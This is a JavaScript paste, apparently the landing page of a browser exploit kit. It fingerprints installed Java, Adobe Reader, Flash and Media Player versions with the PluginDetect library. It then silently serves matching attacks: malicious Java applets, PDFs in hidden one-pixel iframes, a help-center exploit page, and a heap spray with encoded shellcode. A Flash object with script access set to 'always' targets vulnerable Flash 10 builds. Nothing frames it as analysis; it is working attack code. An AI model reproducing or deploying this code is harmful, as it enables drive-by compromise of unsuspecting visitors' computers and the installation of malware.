  1150.          {
  1151.            a.version0 = c.formatNum(c.getNum(a.version0));
  1152.          }
  1153.          if (b)
  1154.          {
  1155.            a.version = c.formatNum(c.getNum(b));
  1156.            a.vendor = c.isString(d) ? d : "";
  1157.          }
  1158.          if (a.getVersionDone != 1)
  1159.          {
  1160.            a.getVersionDone = 0;
  1161.          }
  1162.          
  1163.        }
  1164.        , jreDisabled: function ()
  1165.        {
  1166.          var b = this, d = b.$, c = b.deployTK.query().JRE, a;
  1167.          if (c && d.OS == 1)
  1168.          {
  1169.            if (d.isGecko && d.compareNums(d.verGecko, "1,9,2,0") >= 0 && d.compareNums(c, "1,6,0,12") < 0 || d.isChrome && d.compareNums(c, "1,6,0,12") < 0)
  1170.            {
  1171.              return 1;
  1172.            }
  1173.            
  1174.          }
  1175.          if (d.isOpera && d.verOpera - 9 >= 0 && !b.Enabled && !b.mimeObj && !b.queryWithoutApplets()[0])
  1176.          {
  1177.            return 1;
  1178.          }
  1179.          if ((d.isGecko || d.isChrome) && !b.mimeObj && !b.queryWithoutApplets()[0])
  1180.          {
  1181.            return 1;
  1182.          }
  1183.          return 0;
  1184.        }
  1185.        , deployTK:
  1186.        {
  1187.          status: null, JREall: [], JRE: null, HTML: null, query: function ()
  1188.          {
  1189.            var f = this, h = f.$, c = f.parentNode, i, a, b, g = len = null;
  1190.            if (f.status !== null)
  1191.            {
  1192.              return f;
  1193.            }
  1194.            f.status = 0;
  1195.            if (!(h.isGecko && h.compareNums(h.verGecko, h.formatNum("1.6")) >= 1) || h.isSafari || h.isChrome || h.isIE && !h.ActiveXEnabled)
  1196.            {
  1197.              return f;
  1198.            }
  1199.            if (h.isIE && h.verIE - 6 >= 0)
  1200.            {
  1201.              f.HTML = h.insertHTML("object", [], []);
  1202.              g = h.getDOMobj(f.HTML);
  1203.            }
  1204.            else
  1205.            {
  1206.              if (!h.isIE && (b = h.hasMimeType(c.DTKmimeType)) && b.type)
  1207.              {
  1208.                f.HTML = h.insertHTML("object", ["type", b.type], []);
  1209.                g = h.getDOMobj(f.HTML);
  1210.              }
  1211.              
  1212.            }
  1213.            if (g)
  1214.            {
  1215.              if (h.isIE && h.verIE - 6 >= 0)
  1216.              {
  1217.                try
  1218.                {
  1219.                  g.classid = c.DTKclassID;
  1220.                }
  1221.                catch (i)
  1222.                {
  1223.                  
  1224.                }
  1225.                
  1226.              }
  1227.              try
  1228.              {
  1229.                var d = g.jvms;
  1230.                if (d)
  1231.                {
  1232.                  len = d.getLength();
  1233.                  if (h.isNum(len))
  1234.                  {
  1235.                    f.status = len > 0 ? 1 : -1;
  1236.                    for (a = 0;
  1237.                    a < len;
  1238.                    a++)
  1239.                    {
  1240.                      b = h.getNum(d.get(len - 1 - a).version);
  1241.                      if (b)
  1242.                      {
  1243.                        f.JREall[a] = b;
  1244.                      }
  1245.                      
  1246.                    }
  1247.                    
  1248.                  }
  1249.                  
  1250.                }
  1251.                
  1252.              }
  1253.              catch (i)
  1254.              {
  1255.                
  1256.              }
  1257.              
  1258.            }
  1259.            if (f.JREall.length > 0)
  1260.            {
  1261.              f.JRE = h.formatNum(f.JREall[0]);
  1262.            }
  1263.            return f;
  1264.          }
  1265.          
  1266.        }
  1267.        , queryWithoutApplets00: function (c, a)
  1268.        {
  1269.          var b = window.java, d;
  1270.          try
  1271.          {
  1272.            if (b && b.lang && b.lang.System)
  1273.            {
  1274.              a.value = [b.lang.System.getProperty("java.version") + " ", b.lang.System.getProperty("java.vendor") + " "];
  1275.            }
  1276.            
  1277.          }
  1278.          catch (d)
  1279.          {
  1280.            
  1281.          }
  1282.          
  1283.        }
  1284.        , queryWithoutApplets: function ()
  1285.        {
  1286.          var c = this, f = c.$, g, a = c.queryWithoutApplets;
  1287.          if (!a.value)
  1288.          {
  1289.            a.value = [null, null];
  1290.            if (!f.isIE && window.java)
  1291.            {
  1292.              if (f.OS == 2 && f.isOpera && f.verOpera <= 9.1 && f.verOpera - 9 >= 0)
  1293.              {
  1294.                
  1295.              }
  1296.              else
  1297.              {
  1298.                if (f.isGecko && f.compareNums(f.verGecko, "1,9,0,0") <= 0 && f.compareNums(f.verGecko, "1,8,0,0") >= 0)
  1299.                {
  1300.                  
  1301.                }
  1302.                else
  1303.                {
  1304.                  if (f.isGecko)
  1305.                  {
  1306.                    var i, b, h = document;
  1307.                    if (h.createElement && h.createEvent)
  1308.                    {
  1309.                      try
  1310.                      {
  1311.                        i = h.createElement("div"), b = h.createEvent("HTMLEvents");
  1312.                        b.initEvent("change", false, false);
  1313.                        i.addEventListener("change", f.handler(c.queryWithoutApplets00, f, a), false);
  1314.                        i.dispatchEvent(b);
  1315.                      }
  1316.                      catch (g)
  1317.                      {
  1318.                        
  1319.                      }
  1320.                      
  1321.                    }
  1322.                    
  1323.                  }
  1324.                  else
  1325.                  {
  1326.                    c.queryWithoutApplets00(f, a);
  1327.                  }
  1328.                  
  1329.                }
  1330.                
  1331.              }
  1332.              
  1333.            }
  1334.            
  1335.          }
  1336.          return a.value;
  1337.        }
  1338.        , applet:
  1339.        {
  1340.          results: [[null, null], [null, null], [null, null]], HTML: [0, 0, 0], active: [0, 0, 0], allowed: [2, 2, 2], DummyObjTagHTML: 0, DummySpanTagHTML: 0, getResult: function ()
  1341.          {
  1342.            var c = this.results, a, b;
  1343.            for (a = 0;
  1344.            a < c.length;
  1345.            a++)
  1346.            {
  1347.              b = c[a];
  1348.              if (b[0])
  1349.              {
  1350.                break;
  1351.              }
  1352.              
  1353.            }
  1354.            return [].concat(b);
  1355.          }
  1356.          , canTry: function (d)
  1357.          {
  1358.            var b = this, c = b.$, a = b.parentNode;
  1359.            if (b.allowed[d] == 3)
  1360.            {
  1361.              return true;
  1362.            }
  1363.            if (!a.version0 || !a.Enabled || c.isIE && !c.ActiveXEnabled)
  1364.            {
  1365.              if (b.allowed[d] == 2)
  1366.              {
  1367.                return true;
  1368.              }
  1369.              if (b.allowed[d] == 1 && !b.getResult()[0])
  1370.              {
  1371.                return true;
  1372.              }
  1373.              
  1374.            }
  1375.            return false;
  1376.          }
  1377.          , canTryAny: function ()
  1378.          {
  1379.            var b = this, a;
  1380.            for (a = 0;
  1381.            a < b.allowed.length;
  1382.            a++)
  1383.            {
  1384.              if (b.canTry(a))
  1385.              {
  1386.                return true;
  1387.              }
  1388.              
  1389.            }
  1390.            return false;
  1391.          }
  1392.          , canUseAppletTag: function ()
  1393.          {
  1394.            var b = this, c = b.$, a = b.parentNode;
  1395.            return !c.isIE || a.Enabled;
  1396.          }
  1397.          , canUseObjectTag: function ()
  1398.          {
  1399.            var a = this, b = a.$;
  1400.            return !b.isIE || b.ActiveXEnabled;
  1401.          }
  1402.          , queryThis: function (h)
  1403.          {
  1404.            var g, c = this, b = c.parentNode, f = b.$, a = vendor = null, d = f.getDOMobj(c.HTML[h], true);
  1405.            if (d)
  1406.            {
  1407.              try
  1408.              {
  1409.                a = d.getVersion() + " ";
  1410.                vendor = d.getVendor() + " ";
  1411.                d.statusbar(f.winLoaded ? " " : " ");
  1412.              }
  1413.              catch (g)
  1414.              {
  1415.                
  1416.              }
  1417.              if (f.isStrNum(a))
  1418.              {
  1419.                c.results[h] = [a, vendor];
  1420.              }
  1421.              try
  1422.              {
  1423.                if (f.isIE && a && d.readyState != 4)
  1424.                {
  1425.                  f.garbage = true;
  1426.                  d.parentNode.removeChild(d);
  1427.                }
  1428.                
  1429.              }
  1430.              catch (g)
  1431.              {
  1432.                
  1433.              }
  1434.              
  1435.            }
  1436.            
  1437.          }
  1438.          , insertHTMLQueryAll: function (e)
  1439.          {
  1440.            var g = this, n = g.parentNode, d = n.$, o = g.results, q = g.HTML, h = "&nbsp;
  1441.           &nbsp;
  1442.           &nbsp;
  1443.           &nbsp;
  1444.           ", u = "A.class";
  1445.            if (!d.isString(e) || !/\.jar\s*$/.test(e) || /\\/.test(e))
  1446.            {
  1447.              return [null, null];
  1448.            }
  1449.            if (n.OTF < 1)
  1450.            {
  1451.              n.OTF = 1;
  1452.            }
  1453.            if (n.jreDisabled())
  1454.            {
  1455.              return [null, null];
  1456.            }
  1457.            if (n.OTF < 2)
  1458.            {
  1459.              n.OTF = 2;
  1460.            }
  1461.            var c = e, t = "", m;
  1462.            if (/[\/]/.test(e))
  1463.            {
  1464.              m = e.split("/");
  1465.              c = m[m.length - 1];
  1466.              m[m.length - 1] = "";
  1467.              t = m.join("/");
  1468.            }
  1469.            var j = ["archive", c, "code", u], l = ["mayscript", "true"], r = ["scriptable", "true"].concat(l), f = !d.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : n.mimeType[0];
  1470.            if (!q[0] && g.canUseObjectTag() && g.canTry(0))
  1471.            {
  1472.              q[0] = d.isIE ? d.insertHTML("object", ["type", f].concat(j), ["codebase", t].concat(j).concat(r), h, n) : d.insertHTML("object", ["type", f, "archive", c, "classid", "java:" + u], ["codebase", t, "archive", c].concat(r), h, n);
  1473.              o[0] = [0, 0];
  1474.              g.queryThis(0);
  1475.            }
  1476.            if (!q[1] && g.canUseAppletTag() && g.canTry(1))
  1477.            {
  1478.              q[1] = d.isIE ? d.insertHTML("applet", ["alt", h].concat(l).concat(j), ["codebase", t].concat(l), h, n) : d.insertHTML("applet", ["codebase", t, "alt", h].concat(l).concat(j), [].concat(l), h, n);
  1479.              o[1] = [0, 0];
  1480.              g.queryThis(1);
  1481.            }
  1482.            if (!q[2] && g.canUseObjectTag() && g.canTry(2))
  1483.            {
  1484.              q[2] = d.isIE ? d.insertHTML("object", ["classid", n.classID], ["codebase", t].concat(j).concat(r), h, n) : d.insertHTML();
  1485.              o[2] = [0, 0];
  1486.              g.queryThis(2);
  1487.            }
  1488.            if (!g.DummyObjTagHTML && g.canUseObjectTag())
  1489.            {
  1490.              g.DummyObjTagHTML = d.insertHTML("object", [], [], h);
  1491.            }
  1492.            if (!g.DummySpanTagHTML)
  1493.            {
  1494.              g.DummySpanTagHTML = d.insertHTML("", [], [], h);
  1495.            }
  1496.            if (n.OTF <= 2 && (q[0] && !o[0][0] || q[1] && !o[1][0] || d.isIE && q[2] && !o[2][0]))
  1497.            {
  1498.              var i = n.NOTF, b = i.isJavaActive();
  1499.              if (b >= 0)
  1500.              {
  1501.                n.OTF = 3;
  1502.                n.installed = b == 1 ? 0.5 : -0.5;
  1503.                i.onIntervalQuery = d.handler(i.$$onIntervalQuery, i);
  1504.                if (!d.winLoaded)
  1505.                {
  1506.                  d.WLfuncs0.push([i.winOnLoadQuery, i]);
  1507.                }
  1508.                setTimeout(i.onIntervalQuery, i.intervalLength);
  1509.              }
  1510.              
  1511.            }
  1512.            var k, a = 0;
  1513.            for (k = 0;
  1514.            k < o.length;
  1515.            k++)
  1516.            {
  1517.              if (q[k] || g.canTry(k))
  1518.              {
  1519.                a++;
  1520.              }
  1521.              else
  1522.              {
  1523.                break;
  1524.              }
  1525.              
  1526.            }
  1527.            if (a == o.length)
  1528.            {
  1529.              n.getVersionDone = n.forceVerifyTag.length > 0 ? 0 : 1;
  1530.            }
  1531.            return g.getResult();
  1532.          }
  1533.          
  1534.        }
  1535.        , NOTF:
  1536.        {
  1537.          count: 0, countMax: 25, intervalLength: 250, isJavaActive: function ()
  1538.          {
  1539.            var e = this, c = e.parentNode, a, b, d = -9;
  1540.            for (a = 0;
  1541.            a < c.applet.HTML.length;
  1542.            a++)
  1543.            {
  1544.              b = e.isAppletActive(a);
  1545.              c.applet.active[a] = b;
  1546.              if (b > d)
  1547.              {
  1548.                d = b;
  1549.              }
  1550.              
  1551.            }
  1552.            return d;
  1553.          }
  1554.          , isAppletActive: function (g)
  1555.          {
  1556.            var h = this, d = h.$, c = h.parentNode, b = c.applet, f, a = d.getTagStatus(b.HTML[g], b.DummySpanTagHTML, b.DummyObjTagHTML, h.count);
  1557.            if (a == -2)
  1558.            {
  1559.              return -2;
  1560.            }
  1561.            try
  1562.            {
  1563.              if (d.isIE && d.verIE - c.minIEver >= 0 && d.getDOMobj(b.HTML[g]).object)
  1564.              {
  1565.                return 1;
  1566.              }
  1567.              
  1568.            }
  1569.            catch (f)
  1570.            {
  1571.              
  1572.            }
  1573.            if (a == 1 && (d.isIE || c.version0 && c.Enabled && c.Enabled || c.queryWithoutApplets()[0]))
  1574.            {
  1575.              return 1;
  1576.            }
  1577.            if (a < 0)
  1578.            {
  1579.              return -1;
  1580.            }
  1581.            return 0;
  1582.          }
  1583.          , winOnLoadQuery: function (c, d)
  1584.          {
  1585.            var b = d.parentNode, a;
  1586.            if (b.OTF == 3)
  1587.            {
  1588.              a = d.queryAllApplets();
  1589.              d.queryCompleted(a[1], a[2]);
  1590.            }
  1591.            
  1592.          }
  1593.          , $$onIntervalQuery: function (d)
  1594.          {
  1595.            var c = d.$, b = d.parentNode, a;
  1596.            if (b.OTF == 3)
  1597.            {
  1598.              a = d.queryAllApplets();
  1599.              if (a[0] || c.winLoaded && d.count > d.countMax)
  1600.              {
  1601.                d.queryCompleted(a[1], a[2]);
  1602.              }
  1603.              
  1604.            }
  1605.            d.count++;
  1606.            if (b.OTF == 3)
  1607.            {
  1608.              setTimeout(d.onIntervalQuery, d.intervalLength);
  1609.            }
  1610.            
  1611.          }
  1612.          , queryAllApplets: function ()
  1613.          {
  1614.            var g = this, f = g.$, e = g.parentNode, d = e.applet, b, a, c;
  1615.            for (b = 0;
  1616.            b < d.results.length;
  1617.            b++)
  1618.            {
  1619.              d.queryThis(b);
  1620.            }
  1621.            a = d.getResult();
  1622.            c = a[0] || g.isJavaActive() < 0 ? true : false;
  1623.            return [c, a[0], a[1]];
  1624.          }
  1625.          , queryCompleted: function (c, f)
  1626.          {
  1627.            var e = this, d = e.$, b = e.parentNode;
  1628.            if (b.OTF == 4)
  1629.            {
  1630.              return;
  1631.            }
  1632.            b.OTF = 4;
  1633.            var a = e.isJavaActive() == 1 ? true : false;
  1634.            if (c || b.queryWithoutApplets()[0])
  1635.            {
  1636.              b.installed = 1;
  1637.            }
  1638.            else
  1639.            {
  1640.              if (a)
  1641.              {
  1642.                if (b.version0)
  1643.                {
  1644.                  b.installed = 1;
  1645.                  c = b.version0;
  1646.                }
  1647.                else
  1648.                {
  1649.                  b.installed = 0;
  1650.                }
  1651.                
  1652.              }
  1653.              else
  1654.              {
  1655.                if (b.installed == 0.5)
  1656.                {
  1657.                  b.installed = 0;
  1658.                }
  1659.                else
  1660.                {
  1661.                  if (b.version0)
  1662.                  {
  1663.                    b.installed = -0.2;
  1664.                  }
  1665.                  else
  1666.                  {
  1667.                    b.installed = -1;
  1668.                  }
  1669.                  
  1670.                }
  1671.                
  1672.              }
  1673.              
  1674.            }
  1675.            b.EndGetVersion(c, f);
  1676.            if (b.funcs)
  1677.            {
  1678.              d.callArray(b.funcs);
  1679.            }
  1680.            if (d.onDoneEmptyDiv)
  1681.            {
  1682.              d.onDoneEmptyDiv();
  1683.            }
  1684.            
  1685.          }
  1686.          
  1687.        }
  1688.        , append: function (e, d)
  1689.        {
  1690.          for (var c = 0;
  1691.          c < d.length;
  1692.          c++)
  1693.          {
  1694.            e.push(d[c]);
  1695.          }
  1696.          
  1697.        }
  1698.        , JavaFix: function ()
  1699.        {
  1700.          
  1701.        }
  1702.        
  1703.      }
  1704.      , flash:
  1705.      {
  1706.        mimeType: ["application/x-shockwave-flash", "application/futuresplash"], progID: "ShockwaveFlash.ShockwaveFlash", classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", getVersion: function ()
  1707.        {
  1708.          var b = function (i)
  1709.          {
  1710.            if (!i)
  1711.            {
  1712.              return null;
  1713.            }
  1714.            var e = /[\d][\d\,\.\s]*[rRdD]
  1715.            {
  1716.              0,1
  1717.            }
  1718.            [\d\,]*/.exec(i);
  1719.            return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null;
  1720.          }
  1721.          ;var d, h = this, f = h.$, j, g, k = null, c = null, a = null;
  1722.          if (!f.isIE)
  1723.          {
  1724.            d = f.findNavPlugin("Flash");
  1725.            if (d && d.description && f.hasMimeType(h.mimeType))
  1726.            {
  1727.              k = b(d.description);
  1728.            }
  1729.            if (k)
  1730.            {
  1731.              k = f.getPluginFileVersion(d, k);
  1732.            }
  1733.            
  1734.          }
  1735.          else
  1736.          {
  1737.            for (g = 15;
  1738.            g > 2;
  1739.            g--)
  1740.            {
  1741.              c = f.getAXO(h.progID + "." + g);
  1742.              if (c)
  1743.              {
  1744.                a = g.toString();
  1745.                break;
  1746.              }
  1747.              
  1748.            }
  1749.            if (a == "6")
  1750.            {
  1751.              try
  1752.              {
  1753.                c.AllowScriptAccess = "always";
  1754.              }
  1755.              catch (j)
  1756.              {
  1757.                return "6,0,21,0";
  1758.              }
  1759.              
  1760.            }
  1761.            try
  1762.            {
  1763.              k = b(c.GetVariable(""));
  1764.            }
  1765.            catch (j)
  1766.            {
  1767.              
  1768.            }
  1769.            if (!k && a)
  1770.            {
  1771.              k = a;
  1772.            }
  1773.            
  1774.          }
  1775.          h.installed = k ? 1 : -1;
  1776.          h.version = f.formatNum(k);
  1777.          return true;
  1778.        }
  1779.        
  1780.      }
  1781.      , adobereader:
  1782.      {
  1783.        mimeType: "application/pdf", navPluginObj: null, progID: ["AcroPDF.PDF", "PDF.PdfCtrl"], classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED: (
  1784.        {
  1785.          
  1786.        }
  1787.        ), pluginHasMimeType: function (d, c, f)
  1788.        {
  1789.          var b = this, e = b.$, a;
  1790.          for (a in d)
  1791.          {
  1792.            if (d[a] && d[a].type && d[a].type == c)
  1793.            {
  1794.              return 1;
  1795.            }
  1796.            
  1797.          }
  1798.          if (e.getMimeEnabledPlugin(c, f))
  1799.          {
  1800.            return 1;
  1801.          }
  1802.          return 0;
  1803.        }
  1804.        , getVersion: function (i, j)
  1805.        {
  1806.          var f = this, c = f.$, h, d, k, m = p = null, g = null, l = null, a, b;
  1807.          j = c.isString(j) && j.length ? j.replace(/\s/, "").toLowerCase() : f.mimeType;
  1808.          if (c.isDefined(f.INSTALLED[j]))
  1809.          {
  1810.            f.installed = f.INSTALLED[j];
  1811.            return;
  1812.          }
  1813.          if (!c.isIE)
  1814.          {
  1815.            a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1816.            if (f.getVersionDone !== 0)
  1817.            {
  1818.              f.getVersionDone = 0;
  1819.              p = c.getMimeEnabledPlugin(f.mimeType, a);
  1820.              if (!p && c.hasMimeType(f.mimeType))
  1821.              {
  1822.                p = c.findNavPlugin(a, 0);
  1823.              }
  1824.              if (p)
  1825.              {
  1826.                f.navPluginObj = p;
  1827.                g = c.getNum(p.description) || c.getNum(p.name);
  1828.                g = c.getPluginFileVersion(p, g);
  1829.                if (!g && c.OS == 1)
  1830.                {
  1831.                  if (f.pluginHasMimeType(p, "application/vnd.adobe.pdfxml", a))
  1832.                  {
  1833.                    g = "9";
  1834.                  }
  1835.                  else
  1836.                  {
  1837.                    if (f.pluginHasMimeType(p, "application/vnd.adobe.x-mars", a))
  1838.                    {
  1839.                      g = "8";
  1840.                    }
  1841.                    
  1842.                  }
  1843.                  
  1844.                }
  1845.                
  1846.              }
  1847.              
  1848.            }
  1849.            else
  1850.            {
  1851.              g = f.version;
  1852.            }
  1853.            m = c.getMimeEnabledPlugin(j, a);
  1854.            f.installed = m && g ? 1 : m ? 0 : f.navPluginObj ? -0.2 : -1;
  1855.          }
  1856.          else
  1857.          {
  1858.            p = c.getAXO(f.progID[0]) || c.getAXO(f.progID[1]);
  1859.            b = /=\s*([\d\.]+)/g;
  1860.            try
  1861.            {
  1862.              d = (p || c.getDOMobj(c.insertHTML("object", ["classid", f.classID], ["src", ""], "", f))).GetVersions();
  1863.              for (k = 0;
  1864.              k < 5;
  1865.              k++)
  1866.              {
  1867.                if (b.test(d) && (!g || g - RegExp.$1 < 0))
  1868.                {
  1869.                  g = RegExp.$1;
  1870.                }
  1871.                
  1872.              }
  1873.              
  1874.            }
  1875.            catch (h)
  1876.            {
  1877.              
  1878.            }
  1879.            f.installed = g ? 1 : p ? 0 : -1;
  1880.          }
  1881.          if (!f.version)
  1882.          {
  1883.            f.version = c.formatNum(g);
  1884.          }
  1885.          f.INSTALLED[j] = f.installed;
  1886.        }
  1887.        
  1888.      }
  1889.      , zz: 0
  1890.    };
  1891.    PluginDetect.initScript();
  1892.    PluginDetect.getVersion(".");
  1893.    jver = PluginDetect.getVersion("Java", "./getJavaInfo.jar");
  1894.    pdfver = PluginDetect.getVersion("AdobeReader");
  1895.    flashver = PluginDetect.getVersion("Flash");
  1896.  }
  1897.  catch (e)
  1898.  {
  1899.  }
  1900.  if (typeof jver == "string")
  1901.  {
  1902.    jver = jver.split(".");
  1903.  }
  1904.  else
  1905.  {
  1906.    jver = [0, 0, 0, 0];
  1907.  }
  1908.  if (typeof pdfver == "string")
  1909.  {
  1910.    pdfver = pdfver.split(".");
  1911.  }
  1912.  else
  1913.  {
  1914.    pdfver = [0, 0, 0, 0];
  1915.  }
  1916.  if (typeof flashver == "string")
  1917.  {
  1918.    flashver = flashver.split(".");
  1919.  }
  1920.  else
  1921.  {
  1922.    flashver = [0, 0, 0, 0];
  1923.  }
  1924.  function spl0()
  1925.  {
  1926.    if (jver[1] == 6 && jver[3] <= 28)
  1927.    {
  1928.      var f = document.createElement("applet");
  1929.      f.setAttribute("code", "Wiki.class");
  1930.      f.setAttribute("archive", "./content/rino.jar");
  1931.      var p = document.createElement("param");
  1932.      p.setAttribute("name", "p");
  1933.      p.setAttribute("value", "vssMlggw26fe6eeMvFy6PJFUgYPMvM-Vc3=G6cr");
  1934.      f.appendChild(p);
  1935.      document.body.appendChild(f);
  1936.    }
  1937.    spl1();
  1938.  }
  1939.  function spl1()
  1940.  {
  1941.    if (jver[1] < 6)
  1942.    {
  1943.      var f = document.createElement("applet");
  1944.      f.setAttribute("code", "photo.Photo.class");
  1945.      f.setAttribute("archive", "./content/obe.jar`");
  1946.      var p = document.createElement("param");
  1947.      p.setAttribute("name", "p");
  1948.      p.setAttribute("value", "vssMlggw26fe6eeMvFy6PJFUgYPMvM-Vc3=G6cd");
  1949.      f.appendChild(p);
  1950.      document.body.appendChild(f);
  1951.    }
  1952.    spl2();
  1953.  }
  1954.  function spl2()
  1955.  {
  1956.    spl3();
  1957.  }
  1958.  function show_pdf(src)
  1959.  {
  1960.    var pifr = document.createElement("IFRAME");
  1961.    pifr.setAttribute("width", 1);
  1962.    pifr.setAttribute("height", 1);
  1963.    pifr.setAttribute("src", src);
  1964.    document.body.appendChild(pifr);
  1965.  }
  1966.  function show_pdf2(src)
  1967.  {
  1968.    var p = document.createElement("object");
  1969.    p.setAttribute("type", "application/pdf");
  1970.    p.setAttribute("data", src);
  1971.    p.setAttribute("width", 1);
  1972.    p.setAttribute("height", 1);
  1973.    document.body.appendChild(p);
  1974.  }
  1975.  function spl3()
  1976.  {
  1977.    if (pdfver[0] > 0 && pdfver[0] < 8)
  1978.    {
  1979.      show_pdf("./content/adfp1.php?f=26");
  1980.    }
  1981.    else if (pdfver[0] == 8 || pdfver[0] == 9 && pdfver[1] <= 3)
  1982.    {
  1983.      show_pdf2("./content/adfp2.php?f=26");
  1984.    }
  1985.    spl4();
  1986.  }
  1987.  function spl4()
  1988.  {
  1989.    try
  1990.    {
  1991.      for (var i = 0, m;
  1992.      i < navigator.plugins.length;
  1993.      i++)
  1994.      {
  1995.        var name = navigator.plugins[i].name;
  1996.        if (name.indexOf("Media Player") != -1)
  1997.        {
  1998.          m = document.createElement("IFRAME");
  1999.          m.setAttribute("src", "./content/hhcp.php?c=26");
  2000.          m.setAttribute("width", 0);
  2001.          m.setAttribute("height", 0);
  2002.          document.body.appendChild(m);
  2003.        }
  2004.      }
  2005.    }
  2006.    catch (e)
  2007.    {
  2008.    }
  2009.    setTimeout(spl5, 1000);
  2010.  }
  2011.  function getCN()
  2012.  {
  2013.    return "content/score.swf";
  2014.  }
  2015.  function getBlockSize()
  2016.  {
  2017.    return 1024;
  2018.  }
  2019.  function getAllocSize()
  2020.  {
  2021.    return 1048576;
  2022.  }
  2023.  function getAllocCount()
  2024.  {
  2025.    return 300;
  2026.  }
  2027.  function getFillBytes()
  2028.  {
  2029.    var a = "%u0c0c";
  2030.    return a + a;
  2031.  }
  2032.  function getShellCode()
  2033.  {
  2034.    return "%u4141%u4141%u8366%ufce4%uebfc%u5810%uc931%u8166%u56e9%u80fe%u2830%ue240%uebfa%ue805%uffeb%uffff%uccad%u1c5d%u77c1%ue81b%ua34c%u1868%u68a3%ua324%u3458%ua37e%u205e%uf31b%ua34e%u1476%u5c2b%u041b%uc6a9%u383d%ud7d7%ua390%u1868%u6eeb%u2e11%ud35d%u1caf%uad0c%u5dcc%uc179%u64c3%u7e79%u5da3%ua314%u1d5c%u2b50%u7edd%u5ea3%u2b08%u1bdd%u61e1%ud469%u2b85%u1bed%u27f3%u3896%uda10%u205c%ue3e9%u2b25%u68f2%ud9c3%u3713%uce5d%ua376%u0c76%uf52b%ua34e%u6324%u6ea5%ud7c4%u0c7c%ua324%u2bf0%ua3f5%ua32c%ued2b%u7683%ueb71%u7bc3%ua385%u0840%u55a8%u1b24%u2b5c%uc3be%ua3db%u2040%udfa3%u2d42%uc071%ud7b0%ud7d7%ud1ca%u28c0%u2828%u7028%u4278%u4068%u28d7%u2828%uab78%u31e8%u7d78%uc4a3%u76a3%uab38%u2deb%ucbd7%u4740%u2846%u4028%u5a5d%u4544%ud77c%uab3e%u20ec%uc0a3%u49c0%ud7d7%uc3d7%uc32a%ua95a%u2cc4%u2829%ua528%u0c74%uef24%u0c2c%u4d5a%u5b4f%u6cef%u2c0c%u5a5e%u1a1b%u6cef%u200c%u0508%u085b%u407b%u28d0%u2828%u7ed7%ua324%u1bc0%u79e1%u6cef%u2835%u585f%u5c4a%u6cef%u2d35%u4c06%u4444%u6cee%u2135%u7128%ue9a2%u182c%u6ca0%u2c35%u7969%u2842%u2842%u7f7b%u2842%u7ed7%uad3c%u5de8%u423e%u7b28%u7ed7%u422c%uab28%u24c3%ud77b%u2c7e%uebab%uc324%uc32a%u6f3b%u17a8%u5d28%u6fd2%u17a8%u5d28%u42ec%u4228%ud7d6%u207e%ub4c0%ud7d6%ua6d7%u2666%ub0c4%ua2d6%ua126%u2947%u1b95%ua2e2%u3373%u6eee%u1e51%u0732%u4058%u5c5c%u1258%u0707%u5a41%u434d%u4d46%u4646%u4058%u4447%u064d%u474b%u0745%u065f%u4058%u1758%u154e%u1e1a%u4d0e%u1e15%u2828";
  2035.  }
  2036.  function spl5()
  2037.  {
  2038.    var ver1 = flashver[0];
  2039.    var ver2 = flashver[1];
  2040.    var ver3 = flashver[2];
  2041.    if (ver1 == 10 && ver2 == 0 && ver3 > 40 ||
  2042.    ver1 == 10 && ver2 > 0 && ver1 == 10 && ver2 < 2 ||
  2043.    ver1 == 10 && ver2 == 2 && ver3 < 159 || ver1 == 10 && ver2 < 2)
  2044.    {
  2045.      var fname = "content/field";
  2046.      var Flash_obj = "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'>";
  2047.      Flash_obj += "<param name='movie' value='" + fname + ".swf' />";
  2048.      al = "always";
  2049.      Flash_obj += "<param name=\"allowScriptAccess\" value='" + al + "' />";
  2050.      Flash_obj += "<param name='Play' value='0' />";
  2051.      Flash_obj += "<embed src='" + fname + ".swf' id='swf_id' name='swf_id'";
  2052.      Flash_obj += "allowScriptAccess='" + al + "'";
  2053.      Flash_obj += "type='application/x-shockwave-flash'";
  2054.      Flash_obj += "width='10' height='10'>";
  2055.      Flash_obj += "</embed>";
  2056.      Flash_obj += "</object>";
  2057.      var oSpan = document.createElement("span");
  2058.      document.body.appendChild(oSpan);
  2059.      oSpan.innerHTML = Flash_obj;
  2060.    }
  2061.    setTimeout(end_redirect, 8000);
  2062.  }
  2063.  spl0();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement